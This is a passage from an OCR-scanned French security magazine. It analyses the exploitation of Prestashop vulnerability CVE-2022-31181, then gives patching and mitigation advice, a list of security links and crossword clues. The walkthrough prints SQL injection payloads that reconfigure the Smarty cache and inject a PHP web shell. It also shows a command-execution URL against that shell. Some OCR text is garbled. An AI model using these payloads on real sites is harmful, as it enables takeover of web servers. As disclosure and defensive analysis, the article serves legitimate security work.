NULL | PS_LAYERED_CACHE_ENABLED | 1 | 2022-08-83 16:21:10 | 2022-08-03 16:21:10 |
--------- e e . S

Parametre modifié indiquant dorénavant l'activation du cache Smarty

Une fois le cache Smarty activé, il faut configurer celui-ci de maniére a ce que ce dernier soit enregistré
dans la base de données, et non dans des fichiers (comme indiqué dans la configuration par défaut).

Ce comportement est géré par le parametre PS_SMARTY_CACHE_TYPE. Comme le montre cette illus-
tration, la valeur par défaut de celui-ci est “filesystem” (valeur indiquant que les caches Smarty de Pres-
tashop sont stockés sous forme de fichiers).

Cache Smarty enregistré

NULL | PS_SMARTY CACHING TYPE | filesystem dans des fichiers

Parametre indiquant que le cache Smarty est stocké dans le systeme de fichier

De fagon similaire a la précédente requéte SQL effectuée dans la base de données, nous modifions le
paramétre PS_SMARTY_CACHING_TYPE, afin que sa valeur soit égale a “mysqgl” (qui indique que le cache
doit étre stocké directement dans la base de données). Dans cet objectif, nous envoyons la charge utile

suivante dans le parametre order :

product.price; UPDATE prefix configuration SET value="mysqgl” WHERE name LIKE
“g$smarty caching%”; --

| id_configuration | id_shop_group | id_shop | name | walue | Cache Smarty cnrcgi%lré

- mmm e Formm s Frmm - + :
NULL | NULL || PS_SMARTY_CACHING_TYPE | mysql | @ en base de données

Parametre maodifié indiquant dorénavant que le cache Smarty sera stocké dans la base de données MySQL

Une fois le cache Smarty ainsi que son enregistrement en base de données activé, nous allons générer
ce dernier. Pour cela, une requéte HTTP GET sur la page d'accueil suffit : cette derniére va déclencher la
compilation du template Smarty vers du code PHP et HTML. Celui-ci va permettre de générer la page qui
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Analyse de la faille CVE 2022-31181 explmtee sur Prestashop
sera renvoyee au client.

Du fait des actions que nous avons précédemment réalisées, le résultat de cette compilation
va également étre mis en cache afin d'éviter de répéter ce traitement lors de prochaines re-
quétes. Ce cache va étre stocké en base de données, dans la table PS_SMARTY_CACHE.

Injection de code dans le cache Smarty

Les caches de template Smarty étant stockés dans la base, il va dorénavant étre possible d’injecter le
code qui nous permettra de prendre le contrdle du serveur.

Les caches stockés en base de données contiennent du code PHP interprété au moment de son uti-
lisation. Une requéte SQL permettant I'ajout de code supplémentaire au sein de ces derniers va étre
utilisée.

product.price; UPDATE prefix smarty cache SET content = concat(content, *“echo
‘<pre id=result-foot>’'; echo system($ GET[‘'1bf84fb90f26ead4f75dbb5a49746df9']);
echo ‘</pre>';”) WHERE content LIKE “%Informations personnelles%”; --

Dernieres lignes contenues dans le cache Smarty (avant injection de code)

L'opération UPDATE, permettant la modification d'une donnée, va concaténer du code PHP au conte-
nu déja existant. Cet ajout va permettre d'exécuter une commande passée dans un parametre d’'URL
(choisi par l'attaquant), au moment d’'une requéte HTTP. Le résultat de cette commande va ensuite étre
inséré au sein du code HTML renvoyé cété client :

</div=

<2php } Injection de code dans le cache

]
scho '<pre id=result-foot>'; echo system($ GET['adbb53f3d460769385269daa?9cc6cad’']): echo '</pre>';:

Dernieres lignes contenues dans le cache Smarty (apres injection de code)

Le code ainsi injecté dans le cache est nommé web shell. Ce type de dispositif permet a un attaquant
d’'exécuter I'ensemble des commandes souhaitées sur le serveur, plutét que de réinjecter un morceau
de code PHP spécifique pour chaque action a réaliser.

Nous venons donc de démontrer comment, a partir d'une instance de Prestashop vulnérable, des indi-
vidus malveillants sont en mesure de prendre le contréle d'un serveur web.
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Exécution de commandes

Le code PHP étant injecté dans le template, 'exécution de commande est accessible a nimporte quel
utilisateur ayant connaissance du nom du parametre.

Pour ce faire, il suffit d'envoyer une requéte HTTP GET contenant le parameétre et la commande a exé-
cuter. Par exemple, la requéte vers I'URL suivante :

https://mon.prestashop.site/index.php?1bf84fb90f26ea44f75dbb5a49746df9=pwd va permettre de vi-

sualiser le répertoire du site, comme le montre lillustration suivante.

20% OFF ON CLOTHES

SEE MORE

CUSTOM TEXTBLOCK

Lorem ipsum dolor sit amet conse ctetu

Sit amet conse ctetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
exercitation ullameco laboris nisi ut aliquip ex ea commado consaquat. Duis aute irure dolor in reprehenderit.

Recevez nos offres spéciales SABONNER

g VEMEZ pour Ceda nos
=ation du =ite
/var fwaa/heml/prestashop Résultat de la commande ‘pwd’
fvar/waw/htnl/prestashop passée en paramétre dans I'URL
PRODUCTS OUR COMPANY VOTRE COMPTE INFORMATIONS

Résultat d'une commande Bash transmise au web shell

Voici une illustration résumant les différentes étapes de I'attaque.

Création de compte, et de wishlist
Cookie d'authentification
|
Requéte simple sur la page d'accueil
NN R RN R s Rt e e aae Site web

vulnérable

Mise en cache de la page

Activation du cache Smarty

Injection de commande dans le cache

Envoi de la commande a exécuter

Retour du résultat de la commande

Schéma résumant l'exploitation de la vulnérabilité
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https://mon.prestashop.site/index.php?1bf84fb90f26ea44f75dbb5a49746df9=pwd

Analyse de la fallle CVE 2022-31181 exploitée sur Prestashop

Comme signalé dans l'article officiel de Prestashop concernant cette vulnérabilité, il est tout a fait pos-
sible de créer et d'écrire dans un fichier a la racine du site contenant un web shell, un code qui va per-
mettre I'exécution de commande et dong, la prise de contrdle du serveur.

Comment se protéger ?

La vulnérabilité affectant les sites Prestashop, référencée CVE-2022-31181 est critique, de par sa simpli-
cité d'exploitation et son impact.

Afin de limiter au maximum l'impact de cette vulnérabilité, la premiere chose a faire est de mettre a jour
Prestashop, afin d'appliquer les derniers correctifs de sécurité.

Une bonne pratique est de vérifier que tous les modules utilisés sont a jour. Le module Blockwishlist
étant un module vulnérable a une injection SQL, et aussi la premiére étape de cette attaque, il est
d'autant plus important de le mettre a jour également, la derniere version étant la version 2.1.2. Pour
rappel, les versions vulnérables sont les versions de Prestashop allant de la version 1.6.0.10 a la version
1.7.8.5, la derniere version a installer étant la version 1.7.8.7. Cette derniere version de Prestashop per-
met de renforcer le stockage du cache MySQL Smarty.

Néanmoins, pour les utilisateurs ne pouvant pas faire cette derniere mise a jour dU a I'incompatibilité
de certains modules, une autre solution de mitigation est disponible.

Les développeurs de Prestashop recommandent de supprimer les lignes suivantes du fichier config/
smarty.config.inc.php [3] :

if (Configuration::get(‘PS_SMARTY CACHING TYPE’) == ‘mysql’) {
include PS CLASS DIR .'Smarty/SmartyCacheResourceMysqgl.php’;
$smarty->caching type = ‘mysql’;
}

Note relative a la CVE-2022-36408

La vulnérabilité décrite dans cet article était a I'origine séparée en deux failles (la CVE-2022-31181 et la
CVE-2022-36408). La CVE-2022-36408 concernait I'exécution de commande arbitraire via le cache Smar-
ty (précédemment décrite), et la CVE-2022-31181 concernait uniquement l'injection SQL.

Cependant, plusieurs jours apres la divulgation de ces vulnérabilités, I'attribution du numéro de la CVE-
2022-36408 a été rejetée (ayant été considérée comme un doublon), et les deux failles ont été fusionnées
au sein de la CVE-2022-31181. Cette modification explique pourquoi certaines sources peuvent qualifier
la vulnérabilité d'une facon différente de celle du présent article.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




Références

[1] https://start.lesechos.fr/innovations-startups/portraits-innovateurs/alexandre-eruimy-ceo-de-
prestashop-le-roi-cache-du-retail-1175030

[2] https://nvd.nist.gov/vuln/detail/CVE-2022-31181
[3] https://build.prestashop.com/news/major-security-vulnerability-on-prestashop-websites/

[4] https://www.smarty.net/

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



https://start.lesechos.fr/innovations-startups/portraits-innovateurs/alexandre-eruimy-ceo-de-prestashop-le-roi-cache-du-retail-1175030
https://start.lesechos.fr/innovations-startups/portraits-innovateurs/alexandre-eruimy-ceo-de-prestashop-le-roi-cache-du-retail-1175030
https://nvd.nist.gov/vuln/detail/CVE-2022-31181
https://build.prestashop.com/news/major-security-vulnerability-on-prestashop-websites/
https://www.smarty.net/

72

BREVES SECU
MOTS-CROISES
TWITTER

Mise a jour du mindmap pentest AD d'Orange CyberDefense

https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_
dark_2022_11.svg

25 blogs ou sites qui traitent de I'OSINT
https://blog.feedspot.com/osint_blogs/
Une liste de payloads XSS

https://github.com/payloadbox/xss-payload-list

Liste de scanners web open source
https://github.com/psiinon/open-source-web-scanners
Collection de snippets de code populaire

https://www.30secondsofcode.org/

Attaque et démos sur la délégation en environnement Active
Directory

https://mayfly277.github.io/posts/GOADv2-pwning-part10/
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1. Protocole permettant de résoudre certains problemes de sécurité liés au protocole DNS
3. Nouveau site web de négociation du ransomware

5. Nom d'un outil permettant de voler des comptes utilisateurs en environnement AD sans
dumper le processus LSASS

6. Un langage pour parler / murmurer a votre API

7. Une des plus célebres conférences de sécurité

8. Age dXMCO

9. APl qui permet de simplifier la gestion des secrets sur Windows

11. Outil préféré des groupes APT comme des cybercriminels

12. Société ayant recemment fait son entrée dans le cercle des revendeurs de zero days

14. Dispositif d'authentification électronique qui supporte les mots de passe a usage unique,
le chiffrement et l'authentification par clé publique

15. Architecture souvent évoquée comme une alternative aux anciennes approches centrées
sur la sécurité périmétrique, selon laquelle la confiance inhérente au réseau est supprimée.

16. Podcast technique traitant des sujets de cybersécurité (pentest, outils, reverse, etc.)

17. Nouvelle offre francaise de “cloud de confiance” créée par les géants francais pour défier
les GAFAM

18. Un gestionnaire de mots de passe récemment compromis
19. Bateau de course au large sponsorisé par XMCO pour 'OGR 2023

1. Lieu qui réunit plusieurs entreprises et organisations de cybersécurité

2. Nom donné a une attague en environnement AD impliquant la maodification de l'attribut
msDS-KeyCredentialLink

4. Marque internationale qui est la plus souvent usurpée lors des attaques de phishing

10. Service francais spécialisé en cybersécurité qui change de directeur a la fin de l'année
2022

11. Outil tres apprécié des pentesteurs pour les Sl internes
13. Plateforme francaise de CTF
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